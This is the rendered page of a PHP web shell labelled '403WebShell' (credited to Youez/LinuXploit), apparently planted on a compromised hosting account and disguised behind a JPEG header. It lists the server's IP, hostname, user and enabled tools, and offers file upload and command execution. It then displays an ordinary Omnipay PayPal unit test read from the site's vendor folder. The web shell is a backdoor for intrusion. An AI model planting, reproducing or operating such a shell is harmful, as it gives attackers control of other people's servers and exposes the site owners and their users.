����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 216.73.216.168
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/www/vendor/omnipay/paypal/tests/Message/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/www/vendor/omnipay/paypal/tests/Message/ExpressTransactionSearchRequestTest.php
<?php

namespace Omnipay\PayPal\Message;

use Omnipay\Common\Exception\InvalidRequestException;
use Omnipay\Tests\TestCase;

class ExpressTransactionSearchRequestTest extends TestCase
{
    /**
     * @var ExpressTransactionSearchRequest
     */
    private $request;

    public function setUp()
    {
        parent::setUp();

        $this->request = new ExpressTransactionSearchRequest($this->getHttpClient(), $this->getHttpRequest());
    }

    public function testGetData()
    {
        $startDate = '2015-01-01';
        $endDate = '2016-01-01';

        $this->request->initialize(array(
            'amount' => '10.00',
            'currency' => 'USD',
            'startDate' => $startDate,
            'endDate' => $endDate,
            'salutation' => 'Mr.',
            'firstName' => 'Jhon',
            'middleName' => 'Carter',
            'lastName' => 'Macgiver',
            'suffix' => 'Jh',
            'email' => 'test@email.com',
            'receiver' => 'Patt Doret',
            'receiptId' => '1111',
            'transactionId' => 'XKCD',
            'invoiceNumber' => '123456789',
            'card' => array('number' => '376449047333005'),
            'auctionItemNumber' => '321564',
            'transactionClass' => 'Received',
            'status' => 'Success',
            'profileId' => '00000000000'
        ));

        $data = $this->request->getData();

        $startDate = new \DateTime($startDate);
        $endDate = new \DateTime($endDate);

        $this->assertSame('10.00', $data['AMT']);
        $this->assertSame('USD', $data['CURRENCYCODE']);
        $this->assertSame($startDate->format(\DateTime::ISO8601), $data['STARTDATE']);
        $this->assertSame($endDate->format(\DateTime::ISO8601), $data['ENDDATE']);
        $this->assertSame('Mr.', $data['SALUTATION']);
        $this->assertSame('Jhon', $data['FIRSTNAME']);
        $this->assertSame('Carter', $data['MIDDLENAME']);
        $this->assertSame('Macgiver', $data['LASTNAME']);
        $this->assertSame('Jh', $data['SUFFIX']);
        $this->assertSame('test@email.com', $data['EMAIL']);
        $this->assertSame('XKCD', $data['TRANSACTIONID']);
        $this->assertSame('123456789', $data['INVNUM']);
        $this->assertSame('376449047333005', $data['ACCT']);
        $this->assertSame('321564', $data['AUCTIONITEMNUMBER']);
        $this->assertSame('Received', $data['TRANSACTIONCLASS']);
        $this->assertSame('Success', $data['STATUS']);
        $this->assertSame('00000000000', $data['PROFILEID']);
    }

    public function testWithoutStartDate()
    {
        $this->request->initialize(array());

        $this->expectException(InvalidRequestException::class);
        $this->expectExceptionMessage('The startDate parameter is required');

        $this->request->getData();
    }

    public function testAmountWithoutCurrency()
    {
        $this->request->setStartDate('2015-01-01');
        $this->request->setAmount(150.00);
        
        $this->expectException(InvalidRequestException::class);
        $this->expectExceptionMessage('The currency parameter is required');

        $this->request->getData();
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit